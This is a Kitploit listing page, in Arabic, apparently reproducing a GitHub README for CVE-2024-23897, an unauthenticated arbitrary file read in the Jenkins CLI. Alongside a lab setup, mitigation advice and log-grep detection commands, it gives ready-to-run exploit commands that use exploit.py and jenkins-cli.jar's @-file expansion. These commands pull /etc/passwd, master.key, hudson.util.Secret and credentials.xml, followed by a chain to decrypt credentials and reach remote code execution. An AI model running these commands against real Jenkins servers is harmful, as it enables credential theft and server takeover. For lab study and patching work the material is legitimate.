Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2024-23897-jenkins_lfi_reproduction — استنساخ cve-2024-23897-jenkins_lfi_reproduction | Kitploit
أدوات/GitHubGitHub/razureink/cve-2024-23897-jenkins_lfi_reproduction
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubrazureink/cve-2024-23897-jenkins_lfi_reproduction

cve-2024-23897-jenkins_lfi_reproduction

استنساخ cve-2024-23897-jenkins_lfi_reproduction

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-23897 — ثغرة قراءة الملفات التعسفية في Jenkins CLI

CVSS 9.8 (حرجة) — يتم استغلالها بنشاط في البيئات الحقيقية


نظرة عامة

CVE-2024-23897 هي ثغرة حرجة لقراءة الملفات التعسفية في واجهة سطر الأوامر (CLI) الخاصة بـ Jenkins. تستخدم واجهة Jenkins CLI مكتبة args4j لتحليل وسائط الأوامر. تقوم هذه المكتبة بتوسيع الحرف @ المتبوع بمسار ملف (@/path/to/file) عن طريق قراءة محتويات ذلك الملف وحقنها كوسائط. يمكن لمهاجم غير مصادَق استغلال هذا السلوك لقراءة ملفات تعسفية على نظام ملفات وحدة تحكم Jenkins دون الحاجة إلى أي مصادقة.

عند دمجها مع استخراج credentials.xml أو secrets أو master.key، يمكن أن تؤدي هذه الثغرة إلى اختراق كامل للخادم (RCE).


التفاصيل الفنية

توسيع الحرف @ في args4j

تنفذ مكتبة args4j (المستخدمة في محلل أوامر Jenkins CLI) ميزة تسهيلية: عندما تبدأ وسيطة بالحرف ، فإنها تتعامل مع باقي الوسيطة كمسار ملف، وتقرأ محتوى الملف، وتقسّمه إلى وسائط متعددة. كان الهدف من ذلك هو السماح بتمرير قوائم وسائط كبيرة عبر الملفات.

@

مثال: java -jar jenkins-cli.jar who-am-i @/etc/passwd سيتسبب في قيام args4j بقراءة /etc/passwd واستخدام محتوياته كوسائط لأمر who-am-i.

نظرًا لأن بعض أوامر CLI (مثل connect-node) تعيد عرض قيم الوسائط أو تتضمنها في رسائل/استجابات الخطأ، يمكن للمهاجم ملاحظة محتويات الملف في استجابة CLI.

تسلسل الهجوم

  1. يتصل المهاجم بمنفذ Jenkins CLI (الافتراضي: 50000، أو نقطة نهاية HTTP CLI)
  2. يرسل المهاجم أمر CLI مع وسيطة مثل @/etc/passwd
  3. يقرأ محلل args4j الخاص بـ Jenkins الملف ويوسّعه إلى وسائط
  4. يعالج أمر CLI تلك الوسائط وتتسرب محتويات الملف في الاستجابة أو رسالة الخطأ
  5. يستخرج المهاجم الملفات الحساسة لتصعيد الامتيازات

لماذا تعتبر هذه الثغرة حرجة

  • لا تتطلب مصادقة — يمكن الوصول إلى منفذ CLI دون أي بيانات اعتماد
  • لا توجد شروط مسبقة — لا يلزم تفعيل أي صلاحيات خاصة أو ميزات في Jenkins
  • تأثير واسع النطاق — عشرات الآلاف من نسخ Jenkins المكشوفة
  • تصعيد الامتيازات — قراءة secrets/master.key تتيح فك تشفير بيانات الاعتماد و RCE

الإصدارات المتأثرة

المنتجالإصدارات المتأثرةالإصدار المُصحَّح
Jenkins (أسبوعي)≤ 2.4412.442
Jenkins LTS≤ 2.426.22.426.3
Jenkins LTS (سابق)≤ 2.414.22.414.3

ملاحظة: جميع إصدارات Jenkins الأقدم من الإصلاحات المذكورة أعلاه معرضة للخطر. ميزة CLI موجودة في Jenkins منذ سنوات عديدة، لذا فإن الإصدارات الأقدم تتأثر أيضًا حتى لو لم تُذكر صراحةً.


خطوات إعادة الإنتاج

إعداد البيئة

  1. شغّل نسخة Jenkins معرضة للخطر باستخدام Docker:

    root@kitploit:~
    docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
    

    لاحظ كلمة مرور المسؤول الأولية من سجلات الحاوية.

  2. تحقق من أن منفذ CLI مفتوح:

    root@kitploit:~
    # Jenkins CLI port (TCP 50000) should be listening
    # Or you can use the HTTP CLI endpoint at /cli/
    
  3. ثبّت Python 3.8+ مع التبعيات المطلوبة:

    root@kitploit:~
    pip install requests
    

إعادة الإنتاج عبر Python PoC

root@kitploit:~
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd

# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

خطوات إعادة الإنتاج اليدوية (مع jenkins-cli.jar)

root@kitploit:~
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar

# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1

# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1

المخرجات المتوقعة

تظهر محتويات الملف في استجابة CLI أو مخرجات الخطأ. على سبيل المثال، قراءة /etc/passwd ستعيد إدخالات ملف كلمات مرور النظام.


إثبات المفهوم (PoC) — سلسلة الاستغلال الكاملة

الخطوة 1: حصر بيئة Jenkins

root@kitploit:~
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml

# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml

الخطوة 2: استخراج الأسرار لتحقيق RCE

root@kitploit:~
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key

# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret

# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

الخطوة 3: فك تشفير بيانات الاعتماد وتحقيق RCE

باستخدام master.key و hudson.util.Secret، يمكنك فك تشفير بيانات اعتماد Jenkins باستخدام أدوات مثل jenkins_decrypt.py أو سكربت decrypt.py من مراجع CVE-2024-23897. يمكن بعد ذلك استخدام بيانات الاعتماد المفكوكة (مفاتيح SSH، رموز API، مفاتيح مزودي السحابة) لتحقيق تنفيذ تعليمات برمجية عن بُعد على العقد المتصلة والبيئات السحابية.


التخفيف

الإصلاح الفوري

الإجراءالتفاصيل
تحديث Jenkinsالترقية إلى Jenkins 2.442+ أو LTS 2.426.3+ / 2.414.3+
تعطيل منفذ CLIاحجب منفذ TCP 50000 في جدار الحماية إذا لم يكن مطلوبًا
تقييد الوصول إلى الشبكةاقتصار الوصول إلى منفذ Jenkins CLI على الشبكات الموثوقة فقط
تفعيل المصادقةتأكد من أن Jenkins يتطلب المصادقة لجميع عمليات الوصول
مراقبة السجلاتابحث عن أوامر CLI التي تحتوي على وسائط @ في سجلات الوصول

الكشف

ابحث في سجلات الوصول أو سجلات تدقيق CLI عن وسائط تحتوي على @ متبوعًا بمسارات ملفات:

root@kitploit:~
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log

# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"

حل مؤقت (إذا تعذر تطبيق التصحيح)

إذا لم يكن تطبيق التصحيح فورًا ممكنًا، فعطّل منفذ CLI عن طريق تعيين خيار --webroot أو حظر المنفذ 50000. ومع ذلك، لاحظ أن نقطة نهاية HTTP CLI (/cli/) داخل واجهة الويب قد تظل قابلة للاستغلال، لذلك يُنصح بشدة بتطبيق التصحيح.


المراجع

  • نشرة Jenkins الأمنية 2024-01-24
  • إدخال NVD — CVE-2024-23897
  • إدخال NVD — CVE-2024-23898 (رفض خدمة CLI ذو صلة)
  • توثيق توسيع ملفات @ لمكتبة args4j
  • كتالوج الثغرات المعروف استغلالها من CISA

إخلاء مسؤولية

هذا المستودع مخصص لأغراض اختبار الأمان المصرح به والتعليم فقط. الاستغلال غير المصرح به لهذه الثغرة غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام لهذه المعلومات. اختبر فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.

تنزيل الأداة